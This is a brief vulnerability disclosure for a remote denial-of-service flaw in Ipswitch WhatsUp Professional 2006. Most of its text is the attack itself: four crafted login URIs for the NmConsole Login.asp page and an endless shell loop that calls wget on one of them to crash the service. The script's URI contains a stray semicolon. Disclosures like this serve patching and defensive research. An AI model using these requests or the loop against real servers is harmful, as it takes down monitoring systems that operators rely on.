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Ipswitch WhatsUp Professional 2006 Remote Denial Of Service Vulnerability

An attacker exploits this issue with a web client.

Example URI have been provided that trigger this issue:

http://www.example.com:81/NmConsole/Login.asp?bIsJavaScriptDisabled=true&sLoginPassword=&btnLogIn=[Log&In]=&sLoginUserName=
http://www.example.com:81/NmConsole/Login.asp?bIsJavaScriptDisabled=true&sLoginUserName=&btnLogIn=[Log&In]=&sLoginPassword=
http://www.example.com:81/NmConsole/Login.asp?bIsJavaScriptDisabled=true&sLoginUserName=&sLoginPassword=&In]=&btnLogIn=
http://www.example.com:81/NmConsole/Login.asp?bIsJavaScriptDisabled=true&sLoginUserName=&sLoginPassword=&btnLogIn=[Log&In]=

An example script to exploit this issue is also available:

while [ 1 ]
do
wget -O /dev/null http://www.example.com:81/NmConsole/Login.asp?bIsJavaScriptDisabled=true&sLoginPassword=&b;tnLogIn=[Log&In]=&sLoginUserName=
done